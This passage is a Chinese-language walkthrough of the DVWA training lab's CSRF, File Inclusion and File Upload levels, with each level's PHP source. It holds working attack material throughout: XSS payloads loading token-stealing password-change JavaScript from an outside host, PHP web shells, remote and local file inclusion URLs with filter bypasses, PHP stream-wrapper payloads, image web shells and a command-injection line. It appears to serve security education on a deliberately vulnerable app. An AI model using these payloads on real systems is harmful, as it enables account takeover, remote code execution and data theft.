array_key_exists("password_conf", $data) &&
array_key_exists("Change", $data)) {
$token = $_SERVER['HTTP_USER_TOKEN'];
$pass_new = $data["password_new"];
$pass_conf = $data["password_conf"];
$change = true;
}
} else {
if (array_key_exists("user_token", $_REQUEST) &&
array_key_exists("password_new", $_REQUEST) &&
array_key_exists("password_conf", $_REQUEST) &&
array_key_exists("Change", $_REQUEST)) {
$token = $_REQUEST["user_token"];
$pass_new = $_REQUEST["password_new"];
$pass_conf = $_REQUEST["password_conf"];
$change = true;
}
}
if ($change) {
// Check Anti-CSRF token
checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);
$pass_new = md5( $pass_new );
// Update the database
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert );
// Feedback for the user
$return_message = "Password Changed.";
}
else {
// Issue with passwords matching
$return_message = "Passwords did not match.";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
if ($request_type == "json") {
generateSessionToken();
header ("Content-Type: application/json");
print json_encode (array("Message" =>$return_message));
exit;
} else {
echo "<pre>" . $return_message . "</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
这次又多加了token校验,还是通过XSS,这次要获取受害者token,再如法炮制
而token存在于html中,可以通过js提取
由于payload过长导致被截断而无法加载,考虑js文件,自己搭建一个本地网站放入js文件
js
var f=document.createElement('iframe');
f.style.display='none';
f.onload=function(){
var t=this.contentDocument.querySelector('[name=user_token]').value;
new Image().src='http://192.168.179.131:4280/vulnerabilities/csrf/?password_new=dic&password_conf=dic&Change=Change&user_token='+t;
document.body.removeChild(f);
};
f.src='http://192.168.179.131:4280/vulnerabilities/csrf/';
document.body.appendChild(f);
XSS-payload,间接绕过script标签过滤,在页面中插入 <script src="http://10.136.189.13/csrf.js"></script>
html
<img src=x onerror="document.body.appendChild(document.createElement(String.fromCharCode(115,99,114,105,112,116))).src='http://10.136.189.13/csrf.js'">
<img src=x onerror="a=String;b=a.fromCharCode;c=b(115)+b(99)+b(114)+b(105)+b(112)+b(116);d=document;e=d.createElement(c);e.src='http://10.136.189.13/csrf.js';d.body.appendChild(e)">

验证
如果想要通过XSS修改密码反复验证,需要停用缓存并刷新,否则只会加载未修改的js
POST
此级别支持POST方法
则另创建一个js文件
js
var f=document.createElement('iframe');f.style.display='none';f.onload=()=>{var t=f.contentDocument.querySelector('[name=user_token]').value;var x=new XMLHttpRequest();x.open('POST','/vulnerabilities/csrf/');x.setRequestHeader('Content-Type','application/json');x.setRequestHeader('user-token',t);x.send('{"password_new":"hack","password_conf":"hack","Change":1}');};f.src='/vulnerabilities/csrf/';document.body.appendChild(f);
payload
html
<img src=x onerror="document.body.appendChild(document.createElement(String.fromCharCode(115,99,114,105,112,116))).src='http://10.136.189.13/csrf1.js'">

impossible
impossible.php
php
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$current_user = dvwaCurrentUser();
$data->bindParam( ':user', $current_user, PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$current_user = dvwaCurrentUser();
$data->bindParam( ':user', $current_user, PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
这次多了旧密码验证,想进行csrf几乎不可能
File Inclusion
文件包含漏洞
某些Web应用程序允许用户指定直接用于文件流的输入,或允许用户上传文件到服务器。随后,Web应用程序会在其上下文中访问用户提供的输入。这种做法可能导致恶意文件被执行。
如果被包含的文件位于目标机器本地,称为"本地文件包含(LFI)"。但文件也可能包含在其他机器上,此时攻击称为"远程文件包含(RFI)"。
当RFI不可行时,结合LFI的其他漏洞(如文件上传和目录遍历)通常能达到相同效果。
注意,"文件包含"与"任意文件访问"或"文件泄露"并非同一概念。
目标
仅通过文件包含漏洞读取
../hackable/flags/fi.php中的五条名言。低级难度
允许直接输入到多个PHP函数中,执行时将包含内容。
是否支持RFI取决于Web服务配置。
提示:LFI示例:
?page=../../../../../../etc/passwd提示:RFI示例:
?page=http://www.evilsite.com/evil.php中级难度
开发者已了解LFI/RFI问题并尝试过滤输入,但匹配规则不足。
提示:LFI仍可能,因仅单次循环匹配
提示:RFI可利用PHP流
高级难度
开发者决定仅允许特定文件,但因存在同名文件而使用通配符包含。
提示:LFI:文件名只需以特定值开头
提示:RFI需结合其他漏洞(如文件上传)
不可能难度
开发者彻底限制,仅硬编码允许的页面及精确文件名,封堵所有攻击路径。
PHP version: <=7.4,但是这个靶场php版本为 8.5.4也能复现
low
low.php
php
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
本地包含
点击file1.php发现
ini
http://192.168.30.166/DVWA/vulnerabilities/fi/?page=file1.php
file2.php 、file3.php
ini
http://192.168.30.166/DVWA/vulnerabilities/fi/?page=file2.php
http://192.168.30.166/DVWA/vulnerabilities/fi/?page=file3.php
先乱输入一个文件名a
推断出为Linux/Unix系统
那么输入**/etc/passwd**
可以任意文件读取
远程包含
先准备好shell.txt放在自己搭建的本地网站
php
<?php system($_GET['cmd']); ?>
先了解一下其他函数(这里主要供我复习,可以跳过)
- 命令执行类函数
这些函数可以直接执行系统命令(类似
system()):
函数 示例 特点 exec()exec("ls", $output);执行命令,返回最后一行输出 shell_exec()shell_exec("id");执行命令,返回完整输出(字符串) passthru()passthru("cat /etc/passwd");直接输出命令结果(无返回值) popen()popen("whoami", "r");打开进程管道,可读取或写入 proc_open()proc_open("bash", array(), $pipes);更高级的进程控制
- 文件操作类函数
这些函数可以读取、写入、删除文件,甚至遍历目录:
函数 示例 用途 file_get_contents()file_get_contents("/etc/passwd")读取文件内容 file_put_contents()file_put_contents("shell.php", "<?php system('id'); ?>")写入文件(可写Webshell) fopen()+fread()fopen("/etc/passwd", "r")打开并读取文件 scandir()scandir("/var/www")列出目录内容 unlink()unlink("config.php")删除文件 copy()copy("/etc/passwd", "./stolen.txt")复制文件
- 代码执行类函数
这些函数可以动态执行 PHP 代码:
函数 示例 特点 eval()eval('system("id");');直接执行字符串中的 PHP 代码 assert()assert('system("id")');类似 eval(),但更隐蔽create_function()$func = create_function('', 'system("id");'); $func();创建匿名函数并执行 preg_replace()+/epreg_replace("/.*/e", "system('id')", "");(PHP <5.5 可用, /e修饰符已弃用)
- 数据库操作类函数
如果服务器支持数据库(如 MySQL):
函数 示例 用途 mysqli_query()mysqli_query($conn, "SELECT * FROM users");执行 SQL 查询(可 SQL 注入) PDO::exec()$pdo->exec("DROP TABLE users");执行 SQL 命令 mysql_query()(旧版)mysql_query("SHOW DATABASES");(PHP <7.0)
ruby
#访问:
http://192.168.179.131:4280/vulnerabilities/fi/?page=http://10.11.186.13/shell.txt&cmd=id

medium
medium.php
php
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
?>
此级别过滤了
arduino
http://
https://
../
..\\
远程包含访问
ruby
http://192.168.179.131:4280/vulnerabilities/fi/?page=http://10.11.186.13/shell.txt&cmd=id

"http://" 被过滤
本地包含访问
ruby
http://192.168.179.131:4280/vulnerabilities/fi/?page=../../../../etc/passwd

本地包含绕过
"../../../../ "也被过滤,使用绝对路径即可
构造page=../../../../../../etc/passwd 即以**../隔离../**,访问
ruby
http://192.168.179.131:4280/vulnerabilities/fi/?page=....//....//....//....//....//....//etc/passwd
http://192.168.179.131:4280/vulnerabilities/fi/?page=..././..././..././..././..././..././etc/passwd
远程包含绕过
同理 http://之间可以插入 http://,即 hhttp://ttp://、hthttp://tp://、htthttp://p://、httphttp://://、http:http:////、http:/http:///
bash
http://192.168.179.131:4280/vulnerabilities/fi/?page=http:/http:///10.11.186.13/shell.txt&cmd=id
伪协议
php://fileter
ruby
#以base64编码输出
http://192.168.179.131:4280/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=/etc/passwd


php://input
php
http://192.168.179.131:4280/vulnerabilities/fi/?page=php://input
payload:
<?php system('ls');?>

hackbar :

file://
ruby
http://192.168.179.131:4280/vulnerabilities/fi/?page=file:///etc/passwd

data://
ruby
http://192.168.179.131:4280/vulnerabilities/fi/?page=data://text/plain,<?php system('id');?>

high
本地包含
尝试之前的payload,除了 http://192.168.179.131:4280/vulnerabilities/fi/?page=file:///etc/passwd都失效了
file1.php、file2.php、file3.php以及include.php都能正常访问
而访问 **file1.txt、file2.txt...**能正常读取,存不存在另说
根据 file1.txt、file://、file2.txt 的规律,都包含 file ,而 include.php少个字都不行
而访问 **1file、afile..**均是"file not found"的错误回显
可以发现page参数只能包含file*,或者为include.php
所以可以使用 **file://**和文件上传
准备一张图片,使用文本编辑器打开,在末尾添加 <?php system($_GET['cmd']); ?>
上传该图片
由上传位置 http://192.168.179.131:4280/vulnerabilities/upload/推测图片路径为 http://192.168.179.131:4280/hackable/uploads/image.png,所以绝对路径为 /var/www/html/hackable/uploads/image.png
访问
ruby
http://192.168.179.131:4280/vulnerabilities/fi/?page=file:///var/www/html/hackable/uploads/image.png&cmd=id

远程包含
由前面得知,page参数只允许file*和include.php
所以远程包含失效了
high.php
php
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
本关page 参数要包含file 或者等于include.php才能被接收
impossible
impossible.php
php
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
$configFileNames = [
'include.php',
'file1.php',
'file2.php',
'file3.php',
];
if( !in_array($file, $configFileNames) ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
此级别已经将可浏览文件写si了,只允许白名单的文件可以访问,无法进行文件包含了,除非有别的漏洞的可以覆盖白名单文件
借鉴:DVWA - 文件包含通关 | lololowe 的博客
File Upload
文件上传
上传文件对Web应用程序构成重大风险。许多攻击的第一步是将某些代码上传至目标系统,随后攻击者只需找到执行该代码的方法即可。利用文件上传功能可帮助攻击者完成第一步操作。
不受限制的文件上传可能导致多种后果,包括:完全控制系统、使文件系统过载、将攻击转嫁至后端系统,以及简单的页面篡改。具体影响取决于应用程序如何处理上传文件(包括存储位置)。
目标
利用此文件上传漏洞,在目标系统上执行任意PHP函数(如phpinfo()或system())。
低级防护
低级防护不会以任何方式检查上传文件内容,仅依赖信任机制。
提示:上传包含命令的任何有效PHP文件即可。
中级防护
中级防护会检查客户端上报的文件类型。
提示:注意查找"隐藏"表单字段中的限制条件。
高级防护
服务器收到客户端文件后,会尝试调整请求中包含的图片尺寸。
提示:需结合其他漏洞利用(如文件包含)。
终极防护
该级别会综合所有前述检查措施,并对图片进行重新编码。这将生成全新图片,从而清除所有"非图片"代码(包括元数据)。
low
low.php
php
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
没有任何限制,可以上传任意文件,这里上传一个info.php,内容为 <?php phpinfo();?>

直接复制 ../../hackable/uploads/info.php替换掉 #
arduino
http://192.168.179.131:4280/DVWA/vulnerabilities/upload/../../hackable/uploads/info.php
或者通过推断也能得出地址为
ruby
http://192.168.179.131:4280/hackable/uploads/info.php

medium
medium.php
php
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
这鉴定上传文件mime类型和文件大小,依旧没有黑白名单
修改content-type为image/png


蚁剑连接 http://192.168.179.131:4280/hackable/uploads/sh.php
后缀改为png/jpg
将后缀改为png/jpg,上传的时候再改回来,本质上跟修改content-type 一样,因为后缀为png/jpg时,会识别content-type为image/png,此时再修改png为php即可

访问
ruby
http://192.168.179.131:4280/hackable/uploads/info1.php

00截断
0x00、%00截断
PHP version < 5.3.4
PHP是用C语言编写的,它的很多内部函数在处理字符串时,也沿用了C语言的这个习惯------认\0为字符串结束符
修改hack.php为hack.php.jpg
(1)0x00
选中并改成00
回车 并放包


(2)%00
抓包后插入%00
由于是POST请求,需要解码
上传成功

文件包含+文件上传
文件包含同样是medium等级,不过自然要比high等级简单一些,图片马可直接上传,后直接利用文件包含漏洞执行即可,之前的文件包含板块已经有类似步骤了,这里就不必演示了
high
high.php
php
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
这个主要使用 getimagesize() 验证是否为真正的图片,会获取长宽,MIME类型等图片一般有的特征,如果不符合,就会上传失败,不过不会检查图片所有内容,因此可以插入恶意代码而不被识别
而basename() 获取文件名,构建完整的路径,防止路径遍历攻击
**strtolower()**转小写,统一拓展名比较,JPG --> jpg
substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1)查找字符串最后出现的位置,即从"."后一位开始截取,得到文件拓展名,但是可以上传.php.png,仅是有风险,但不一定用得上
因此上传图片马后可以使用文件包含漏洞连接
文件包含
文件包含板块已经写明了步骤,这里也不演示了
命令注入
bash
|mv /var/www/html/hackable/uploads/hack.php.png /var/www/html/hackable/uploads/hack.php
impossible
php
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='{$target_path}{$target_file}'>{$target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
此关检查图片基本元素通过后重新编码并去除元数据,所有非图片代码全被清除,生成全新图片,基本杜绝了上传包含恶意内容文件的可能